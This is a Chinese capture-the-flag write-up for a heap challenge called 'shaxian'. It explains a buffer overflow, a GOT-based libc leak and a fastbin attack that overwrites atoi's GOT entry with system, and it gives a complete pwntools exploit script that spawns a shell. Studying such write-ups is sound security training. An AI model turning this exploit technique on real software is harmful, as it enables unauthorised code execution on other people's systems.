保护
先留下了地址跟电话。
点餐函数。
结构大概是这样的
然后点餐那里可以溢出
submit
他这很有意思他这个程序记录你不停点餐的方式是在那个空间最后八个字节放进去了bss上地址本来有的东西,然后free之后再给它放回去,就是套娃的样子。但是我们能够溢出啊,我们之间可以控制它最后放在我们那个地方的地址,这不就好起来了嘛?
receipt
review
view循环着把东西都输出出来。
那么这道题大致的利用思路是什么,是通过溢出,把结构体最下面的那个指针改成got表的地址,然后就可以达到在输出函数输出的时候打印我们需要的地址。
有了地址之后我们还是利用溢出,从chunk0溢出到chunk1,修改fd,然后利用fastbin_attack,对存放结构体地址的那个地方进行攻击,当然我们需要进行伪造,将结构体地址覆盖成atoi的got表地址,然后改成system函数,从而get shell。
在最后申请到fake_chunk之后通过这些代码来劫持got,利用的非常巧妙,先输入的是内容,把note地方写成atoi的got表地址,然后v0等于note,也就是等于的是atoi的got,然后往里面写many,这个时候你就把many输入的时候写system的地址就行。
#coding:utf8
from pwn import *
#r = remote('111.200.241.244',54867)
r = process("./shaxian")
elf = ELF('./shaxian')
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']
ptr = 0x804B1C0
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_i386/libc-2.23.so")
#libc = ELF("./32/libc-2.23.so")
context.log_level = "debug"
def add(count,content):
r.sendlineafter('choose:','1')
r.sendlineafter('5.Jianjiao',content)
r.sendlineafter('How many?',count)
def delete():
r.sendlineafter('choose:','2')
def show():
r.sendlineafter('choose:','4')
r.sendlineafter('Your Address:','123')
fake_chunk = p32(0) + p32(0x31)
payload = 'd'*(0x100-0x10) + fake_chunk
r.sendlineafter('Your Phone number:',payload)
add('1','a') #0
add('1','b') #1
add('1','c') #2
delete()
payload = 'a'*0x20 + p32(puts_got-0x4)
#这里的puts_got - 0x4是因为申请到的空间前四个字节是many,这样就可以把puts_got里面的内容放到content之中。
#当然通过many也可以泄露,因为它输出的时候many也会输出出来。
#prev_size size fd
payload += p32(0) + p32(0x31) + p32(ptr-0x10) #chunk1
add('1',payload)
show()
r.recvuntil('* 1\n')
puts_addr = u32(r.recv(4))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
print str(system_addr )
print str(system_addr - 0x100000000)
add('10','b') #chunk1
#申请堆块到ptr上方的假chunk处,将ptr指针覆盖为atoi的got地址,同时修改atoi的got表
add(str(system_addr - 0x100000000),'dddd' + p32(atoi_got))
#这个地方要注意,为什么输入的是地址减0x100000000,而不是直接输入地址就好
#可以试一下,str在转换的时候,把地址直接转换成了无符号整型
#但是在减去一个比自己打的数之后会变成负数
#那么虽然十六进制一样,差别就是你输入的是无符号整形,还是有符号的
#经过调试,atoi函数的核心是strtol函数,strtol函数的核心是strtol_internal
#它在处理无符号整数的时候当这个数字超过它的最大整数0x7fffffff,就会把数字设置成0x7fffffff
#所以在把地址输入无符号整数的话,返回的结果就是0x7fffffff
#getshell
r.sendline('/bin/sh')
r.interactive()